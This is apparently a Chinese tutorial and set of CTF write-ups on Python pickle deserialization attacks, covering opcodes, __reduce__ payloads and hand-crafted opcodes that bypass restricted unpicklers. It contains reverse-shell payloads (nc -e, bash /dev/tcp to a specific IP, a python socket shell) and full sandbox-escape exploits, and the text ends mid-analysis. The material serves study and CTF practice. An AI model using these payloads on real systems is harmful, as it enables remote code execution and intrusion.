python反序列化漏洞

python反序列化漏洞

Python通过pickle或者cpickle库进行序列化和反序列化(只是cpickle更加快速)作用和PHP的serialize与unserialize一样

pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

序列化

dumps()函数

测试代码:

1
2
3
4
5
6
#python 2.x
import pickle

dict = {"name": 'w0s1np', "age": 19}
a = pickle.dumps(dict)
print(a, type(a))

输出结果:

1
"(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'w0s1np'\np3\ns.", <type 'str'>
1
2
3
4
5
6
#python 3.x
import pickle

dict = {"name": 'w0s1np', "age": 19}
a = pickle.dumps(dict)
print(a, type(a))

输出结果:

1
b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x06w0s1np\x94\x8c\x03age\x94K\x13u.' <class 'bytes'>

在默认情况下Python 2.x中pickled后的数据是 字符串 的形式,Python 3.x中pickled后的数据是 字节对象 的形式。

dump()函数

将指定的Python对象通过pickle序列化后写入打开的文件对象中

反序列化

loads()函数

测试代码:

1
2
3
4
5
6
#python 2.x
import pickle

dict = {"name": 'w0s1np', "age": 19}
a = pickle.loads(pickle.dumps(dict))
print(a, type(a))

输出结果:

1
{'name': 'w0s1np', 'age': 19} <class 'dict'>

默认情况下Python 2.x中pickled后的数据是 字符串形式,需要将它转换为字节对象才能被Python 3.x中的pickle.loads()反序列化;

pickle 是什么?

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。

PVM 由三部分组成:

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。

    最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

常用的opcode如下:

opcode 描述 具体写法 栈上的变化 memo上的变化
b’c’ 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
b’o’ 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
b’i’ 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
b’N’ 实例化一个None N 获得的对象入栈
b’S’ 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
b’V’ 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
b’I’ 实例化一个int对象 Ixxx\n 获得的对象入栈
b’F’ 实例化一个float对象 Fx.x\n 获得的对象入栈
b’R’ 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
b’.’ 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
b’(‘ 向栈中压入一个MARK标记 ( MARK标记入栈
b’t’ 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
b’)’ 向栈中直接压入一个空元组 ) 空元组入栈
b’l’ 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
b’]’ 向栈中直接压入一个空列表 ] 空列表入栈
b’d’ 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
b’}’ 向栈中直接压入一个空字典 } 空字典入栈
b’p’ 将栈顶对象储存至memo_n pn\n 对象被储存
b’g’ 将memo_n的对象压栈 gn\n 对象被压栈
b’0’ 丢弃栈顶对象 0 栈顶对象被丢弃
b’b’ 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
b’s’ 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
b’u’ 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
b’a’ 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
b’e’ 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

反序列化流程

序列化是一个将对象转化成字符串的过程,而反序列化就是将字符串转换为对象的过程。

例如对于字符串

1
2
3
4
c__builtin__
file
(S'/etc/passwd'
tR.

首先c操作码代表引入模块和对象__builtin__.file

a

然后(操作码代表压入一个标志到栈中,表示元组的开始位置

a

接着S操作码代表向栈顶插入一个字符串,这里为’/etc/passwd’。

a

t操作码代表从栈顶开始,找到最上面的MARK也就是(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中。

a

最后R操作码代表从栈顶弹出两个元素,一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上。这里执行的是__builtin__.file('/etc/passwd')

a

最后还要有一个.代表整个程序结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> import pickle
>>> a = '''c__builtin__
... file
... (S'/etc/passwd'
... tR.
... '''
>>> pickle.loads(a)
<open file '/etc/passwd', mode 'r' at 0x7f488f6010c0>
>>> pickle.loads(a).read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:


/bin:/bin

生成pickle

__reduce__方法:

本质在于序列化对象的时候,类中自动执行的函数(如 __reduce__)也被序列化,而且在反序列化时候该函数会直接被执行。

漏洞产生的原因在于pickle可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__方法从而触发恶意代码,类似与PHP中的__wakeup__,在反序列化的时候会自动调用。

__reduce__() 是一个二元操作函数,第一个参数是函数名,第二个参数是第一个函数的参数数据结构。__reduce__ 方法被定义后,当对象被反序列化时就会被自动调用。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
class Exp(object):
def __reduce__(self):
# 导入os模块执行命令
return(os.system,('ls',))
# return(os.system,('ls',))
# return(eval,("os.system('ls')",))
# return(map,(os.system, ('ls',)))
# return(eval,("__import__('os').system('ls')",))

a = Exp()
test = pickle.dumps(a)
pickle.loads(test)

即可执行ls命令

还可以反弹shell

1
2
3
4
5
6
7
8
9
import pickle
import os
class Exp(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return(os.system,(shell,))
a=Exp()
result = pickle.dumps(a)
pickle.loads(result)
1
2
3
4
5
6
7
8
import base64
import pickle

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc IP地址 9999 -e/bin/sh')",))#9999端口
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
1
2
3
4
5
6
7
8
9
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('bash -c \"bash -i >& /dev/tcp/47.110.124.239/2333 0>&1\"')",))
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)

pickle.loads() 是会自动解决 import 问题的,对于未引入的 module 会自动尝试 import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用

手写:

很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。

opcode解析如下:

1
b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'

第一步:读取到\x80,通过dispatch字典索引,调用load_proto方法,程序继续读取一个字节,读取到\x03,它的意思是:这是一个根据三号协议序列化的字符串。

第二步:读取到c (GLOBAL操作码) ,程序往前读取两行字符串,获取域名空间与类名module=__main__,name=animal,调用find_class函数获取到animal对象,并压入栈stack中。

1
stack:[<class '__main__.animal'>]

第三步:读取到q(binput操作码),继续读取下一个字节为0,对应的操作为:将stack中栈尾的数据保存到memo字典中的0号位置(可以理解为逐步保存stack中的数据,方便之后调用)。

第四步:读取到)(EMPTY_TUPLE操作码),往栈中压入空的元组。

1
stack:[<class '__main__.animal'>,()]

第五步:读取到\x81(NEW_OBJ),弹出()赋值给args,然后再弹出<class '__main__.animal'>赋值给cls,在这里是animal对象,之后用cls.__new__(cls,*args)实例化该对象并压入栈中,在这里args为空,所以栈中任然是一个空的animal对象。

1
stack:[<class '__main__.animal'>]

第六步:读取到q\x01将上面实例化的对象保存到memo[1]中。

第七步:读取到},往栈中压入空的字典。

1
stack:[<class '__main__.animal'>,{}]

第八步:读取到q\x02将该字典存到memo[2]中。

第九步:读取到X继续向前读取四个字节代表字符串长度,\x06\x00\x00\x00获得字符串长度为6,接着继续往后读取六个字符animal,存入栈中。

1
stack:[<class '__main__.animal'>,{},animal]

第九步:读取到q\x03将上面的字符串保存到memo[3]中。

第十步:继续向前提取出dog并保存到memo[4]中。

1
stack:[<class '__main__.animal'>,{},animal,dog]

第十一步:读取到s(SETITEM操作符),弹出数据作为值,再弹出数据作为健,最后弹出一个数据 (一定要是字典类型) ,以键值对的形式将数据存入该字典中,{‘animal’:’dog’}`,并入栈。

1
stack:[<class '__main__.animal'>,{'animal':'dog'}]

第十二步:读取到b(BUILD操作符),从栈中弹出字典类型的数据赋值给state,弹出<class '__main__.animal'>赋值给inst,如果inst中存在__setstate__方法,则直接用setstate来处理statesetstate(state),如果不存在,则直接将state存入inst.__dict__中。

第十三步:读取到.,结束反序列化。

基本模式:

1
2
3
4
c<module>
<callable>
(<args>
tR

看个小例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cos
system
(S'ls'
tR.

<=> __import__('os').system(*('ls',))

# 分解一下:
cos
system => 引入 system,并将函数添加到 stack

(S'ls' => 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
t => stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# 简单来说,(,t 之间的内容形成了一个 tuple,stack 目前是 [<built-in function system>, ('ls',)]
R => system(*('ls',))
. => 结束,返回当前栈顶元素
1
2
3
4
5
6
7
8
9
10
>>> import pickle
>>> a = '''cos
... system
... (S'ls'
... tR.
... '''
>>> b = pickle.loads(a)
公共 图片 音乐 flag.txt redis-2.8.3 yum-3.2.28
模板 文档 桌面 phpggc-master redis-2.8.3.tar.gz yum-3.2.28.tar.gz
视频 下载 CVE-2021-3129 python test yum.conf

关于函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:(里面有自己错误的理解,只是为了方便理解)

  1. R操作码 :
1
2
3
4
b'''cos   #c:引入os包
system #栈上第一个对象
(S'whoami' #S:实例一个字符串对象
tR.''' #R:让栈上第一个对象为函数,第二个对象为参数并执行
  1. i 操作码:
1
2
3
4
b'''(S'whoami'
ios #i:先获取全局函数system,再在栈上获取数据S作为参数执行
system
.'''
  1. o 操作码:
1
2
3
4
b'''(cos
system
S'whoami'
o.''' #o:让第一个数据(必须是函数)作为函数,再让后面的作为参数执行

关于变量覆盖:

1
2
3
4
5
opcode='''c__main__
secret
(S'name'
S'1'
db.'''

例题:

suctf2019_guess_game

猜数游戏,10 以内的数字,猜对十次就返回 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# file: Ticket.py

class Ticket:
def __init__(self, number):
self.number = number

def __eq__(self, other):
if type(self) == type(other) and self.number == other.number:
return True
else:
return False

def is_valid(self):
assert type(self.number) == int

if number_range >= self.number >= 0:
return True
else:
return False



# file: game_client.py
number = input('Input the number you guess\n> ')# 输入数字
ticket = Ticket(number)# 新建ticket对象
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))#上传长度
writer.write(ticket)#上传ticket对象
#client 端接收数字输入,生成的 Ticket 对象序列化后发送给 server 端。



# file: game_server.py
while not game.finished():
length = stdin_read(4)#接收长度
length, = read_length(length)

ticket = stdin_read(length)#按长度接收数据
ticket = restricted_loads(ticket)#利用安全措施反序列化数据

assert type(ticket) == Ticket#判断传过来的是不是ticket类型

if not ticket.is_valid():#判断number是不是int
print('The number is invalid.')
game.next_game(Ticket(-1))
continue

win = game.next_game(ticket)#判断是否猜对
if win:
text = "Congratulations, you get the right number!"
else:
text = "Wrong number, better luck next time."
print(text)

if game.is_win():#判断是否胜利,判断ticket.number是否相等,相等就使 win_count+1
text = "Game over! You win all the rounds, here is your flag %s" % get_flag()
else:
text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
print(text)


# file: RestrictedUnpickler.py 对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes
if "guess_game" == module[0:10] and "__" not in name:
return getattr(sys.modules[module], name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

server端将接收到的数据进行反序列,这里与常规的pickle.loads不同,采用的是Python提供的安全措施。也就是说,导入的模块只能以guess_name开头,并且名称里不能含有 __。

胜利条件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# file: Game.py
from random import randint
from guess_game.Ticket import Ticket
from guess_game import max_round, number_range

class Game:
def __init__(self):
number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count = 0
self.win_count = 0

def next_game(self, ticket):
win = False
if self.curr_ticket == ticket:
self.win_count += 1
win = True

number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count += 1

return win

def finished(self):
return self.round_count >= max_round

def is_win(self):
return self.win_count == max_round

就是要胜利次数==最大轮数,而最大轮数是10,所以就是要全胜,所以我们可以利用变量覆盖,所以可以:

  • 让win_count=10,round_count=9传输一次。
  • 直接修改对象的值curr_ticket,让其与传过去的值相等
  • 执行命令直接读取/flag
  1. 官方exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import socket
import struct

s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

解释如下:

pickle本质是个栈语言, 不同于 json 亦或是 php 的 serialize. 实际上是运行 pickle 得到的结果是被序列化的对象. 这里虽然条件受限, 只能加载指定模块, 但是可以看到 __init.py__game = Game(), 所以只要构造出 pickle 代码获得 guess_game.game, 然后修改 game 的 win_count 和 round_count 即可.
注意这里必须手写, 如果是 from guess_game import game, 然后修改再 dumps 这个 game 的话, 是在运行时重新新建一个 Game 对象, 而不是从 guess_game 这个 module 里面获取.

然后注意

1
2
3
ticket = restricted_loads(ticket)

assert type(ticket) == Ticket

所以还需要栈顶为一个 Ticket, 这比较方便, 可以 dumps 一个 Ticket 拼到之前手写的后面就可以了.

ref: https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

梳理opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> import pickletools
>>>
>>> exp = b'''cguess_game
... game
... }S"win_count"
... I10
... sS"round_count"
... I9
... sb'''
>>>
>>> x = pickletools.dis(exp)
0: c GLOBAL #'guess_game game' 引入包guess_game.game
17: } EMPTY_DICT #往栈中压入一个空字典
18: S STRING 'win_count' #实例化字符串对象win_count
31: I INT 10 #实例化int对象10
35: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即{'win_count':'10'}
36: S STRING 'round_count' #实例化字符串对象round_count
51: I INT 9 #实例化int对象9
54: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即{'round_count':'9'}
55: b BUILD #调用__setstate__ 或者 __dict__.update() dict.update:更新对象的属性的

但是还有个验证,assert type(ticket) == Ticket。

因为pickle序列流执行完后将会把栈顶的值返回,那结尾再留一个Ticket的对象就好了。

所以完整opcode

1
2
3
4
5
6
7
b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
  1. 尝试覆盖掉current_ticket

    opcode如下:

    1
    b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb."
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    >>> import pickletools
    >>>
    >>> exp = b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb."
    >>>
    >>> pickletools.dis(exp)
    0: c GLOBAL 'guess_game game'
    17: N NONE
    18: ( MARK
    19: S STRING 'curr_ticket'
    34: c GLOBAL 'guess_game.Ticket Ticket'
    60: ) EMPTY_TUPLE
    61: \x81 NEWOBJ
    62: } EMPTY_DICT
    63: X BINUNICODE 'number'
    74: K BININT1 6
    76: s SETITEM
    77: b BUILD
    78: d DICT (MARK at 18)
    79: \x86 TUPLE2
    80: b BUILD
    81: c GLOBAL 'guess_game.Ticket Ticket'
    107: ) EMPTY_TUPLE
    108: \x81 NEWOBJ
    109: } EMPTY_DICT
    110: X BINUNICODE 'number'
    121: K BININT1 6
    123: s SETITEM
    124: b BUILD
    125: . STOP

Code-Breaking 2018 picklecode

源码:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

发现目标是一个Django项目,先查看Django的配置文件。目标配置文件code/settings.py中有如下几个值得注意的地方:

  • SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
  • SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

因为和默认的Django配置文件相比,这两处可以说是很少在实际项目中看到的。

SESSION_ENGINE指的是Django使用将用户认证信息存储在哪里,SESSION_SERIALIZER指的是Django用什么方式存储用户认证信息。

一个是存储位置,一个是存储方式。可以简单理解一下,用户的session对象先由SESSION_SERIALIZER指定的方式转换成一个字符串,再由SESSION_ENGINE指定的方式存储到某个地方。

默认Django项目中,这两个值分别是:django.contrib.sessions.backends.dbdjango.contrib.sessions.serializers.JSONSerializer。看名字就知道,默认Djangosession是使用json的形式,存储在数据库里。

其实意思就是:该目标的session是用pickle的形式,存储在Cookie中。

pickle反序列化是可以执行任意命令的,我们要想办法控制这个值,进而获取目标系统权限。

我们的目的就是控制session,而session enginedjango.contrib.sessions.backends.signed_cookies,也就是说这个session是签名(signed)后存储在Cookie中的,我们唯一不知道的就是签名时使用的密钥。

打开core.serializer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)

def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}

这里使用了RestrictedUnpickler这个类作为序列化时使用的过程类。其实就是我们可以自定义RestrictedUnpickler这个类给反序列化设置黑白名单,进而限制这个功能被滥用:

a

find_class中限制了反序列化的对象必须是builtins模块中的对象,但不能是{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

例如我们去执行os.system,而find_class中限制module必须是builtins,自然就被拦截了。

a

builtins模块在Python中实际上就是不需要import就能使用的模块,比如常见的open__import__evalinput这种内置函数,都属于builtins模块。

但这些函数已经被禁用了:

  • eval
  • exec
  • execfile
  • compile
  • open
  • input
  • __import__
  • exit

但是没有过滤getattr函数,我们可以通过builtins.getattr('builtins', 'eval')来获取eval函数,然后再执行即可。此时,find_class获得的module是builtins,name是getattr,在允许的范围中,不会被沙盒拦截。

1
2
3
4
>>> getattr(globals()['__builtins__'],'eval')
<built-in function eval>
>>> getattr(dict.get(globals(), '__builtins__'), 'eval')
<built-in function eval>

getattrglobals并没有被禁,那么手搓opcode

首先使用c,获取getattr这个可执行对象:

1
2
cbuiltins
getattr

然后我们需要获取当前上下文,Python中使用globals()获取上下文,所以我们要获取builtins.globals

1
2
cbuiltins
globals

Python中globals是个字典,我们需要取字典中的某个值,所以还要获取dict这个对象:

1
2
cbuiltins
dict

现在执行globals()函数,获取完整上下文:

1
2
3
cbuiltins
globals
(tR

栈顶元素是builtins.globals,我们只需要再压入一个空元组(t,然后使用R执行即可。

1
2
3
4
5
6
7
8
9
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0: c    GLOBAL     'builtins getattr'   #引入模块builtins.getattr
18: ( MARK #向栈中压入一个MARK标记,即空的()
19: c GLOBAL 'builtins dict' #引入builtins.dict
34: S STRING 'get' #实例化字符串对象get
41: t TUPLE (MARK at 18) #寻找栈中的上一个MARK,并组合之间的数据为元组
42: R REDUCE #选择栈上的第一个对象(即get)作为函数、第二个对象作为参数(第二个对象必须为元组)(即()),然后调用该函数
43: ( MARK #向栈中压入一个MARK标记,即空的()
44: c GLOBAL 'builtins globals'#引入模块builtins.globals
62: ( MARK #向栈中压入一个MARK标记,即空的()
63: t TUPLE (MARK at 62) #寻找栈中的上一个MARK,并组合之间的数据为元组
64: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
65: S STRING 'builtins' #实例化字符串对象builtins
77: t TUPLE (MARK at 43) #寻找栈中的上一个MARK,并组合之间的数据为元组
78: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
79: p PUT 1 #将栈顶对象储存至memo_1

即得到builtins.getattr(dict.get(globals(),__builtins__)),即builtins对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import pickle
>>> import builtins
>>>
>>> data = b'''cbuiltins
... getattr
... (cbuiltins
... dict
... S'get'
... tR(cbuiltins
... globals
... (tRS'builtins'
... tRp1
... .'''
>>>
>>> data = pickle.loads(data)
>>> print(data)
<module 'builtins' (built-in)>

接下来,只需要再从这个没有限制的builtins对象中拿到eval等真正危险的函数即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

a

BalsnCTF 2019 Pyshv1

securePickle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs


pickle.whitelist.append('sys')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:

1
2
3
4
5
6
7
8
9
10
11
12
13
# pickle.Unpickler.find_class
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

题目用RestrictedUnpickler做为反序列化的过程类,find_class中限制了反序列化的对象必须是sys模块中的对象。也就是我们要保证我们使用c导入的模块只能是sys

但是sys模块具有一个属性modules,其中包含所有已加载的模块,并且还允许覆盖这些模块。但是pickle没有提供GETITEM说明,我们只能访问的直接属性sys,因此不能sys.modules.__getitem__直接调用。限制了module只能为sys,那能否把sys.modules[‘sys’]替换为sys.modules[‘os’],从而引入危险模块。但是我们可以:

1
2
3
from sys import modules
modules['sys'] = modules['os']
from sys import system

本地实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\50871>python3
Python 3.9.0 (tags/v3.9.0:9cf6752, Oct 5 2020, 15:34:40) [MSC v.1927 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from sys import modules
>>> modules['sys'] = modules['os']
>>> from sys import system
>>> system('dir')
驱动器 C 中的卷是 Windows-SSD
卷的序列号是 EE9A-6908

C:\Users\50871 的目录

2021/04/20 23:00 <DIR> .
2021/04/20 23:00 <DIR> ..
2020/09/21 23:20 <DIR> .android
2021/04/08 20:08 1,411 .bash_history

因为modules是个dict,所以我们需要用getattr(sys.modules[module], name)获取字典其中一个的值

1
2
3
4
5
6
7
>>> import sys
>>> sys.modules['sys'] = sys.modules
>>> import sys
>>> dir(sys) # 成功导入 dict 对象
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
>>> getattr(sys, 'get') # 结合 find_class 中的 getattr
<built-in method get of dict object at 0x000002622D052688>

利用get即可执行命令

1
2
3
4
5
6
7
8
9
10
11
>>> import sys
>>> sys.modules.get('os').system('dir')
驱动器 C 中的卷是 Windows-SSD
卷的序列号是 EE9A-6908

C:\Users\50871 的目录

2021/04/20 23:00 <DIR> .
2021/04/20 23:00 <DIR> ..
2020/09/21 23:20 <DIR> .android
2021/04/08 20:08 1,411 .bash_history

所以我们需要构造:

1
2
sys.modules['sys'] = sys.modules
sys.modules['sys'].get('os').system('dir')

改为opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csys
modules
p100
S'sys'
g100
scsys
get
(S'os'
tRp101
0S'sys'
g101
scsys
system
(S'dir'
tR.

分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 0: c    GLOBAL     'sys modules'   #引入对象sys.modules
13: p PUT 100 #将栈顶对象储存至memo_100
18: S STRING 'sys' #实例化一个字符串对象sys
25: g GET 100 #将memo_100的对象压栈
30: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得sys.modules['sys']
31: c GLOBAL 'sys get' #引入对象sys.get
40: ( MARK #向栈中压入一个MARK标记
41: S STRING 'os' #实例化一个字符串对象os
47: t TUPLE (MARK at 40) #寻找栈中的上一个MARK,并组合之间的数据为元组,即('os')
48: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即获得sys.get('os')
49: p PUT 101 #将栈顶对象储存至memo_101
54: 0 POP #丢弃栈顶对象
55: S STRING 'sys' #实例化一个字符串对象sys
62: g GET 101 #将memo_101的对象压栈
67: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得
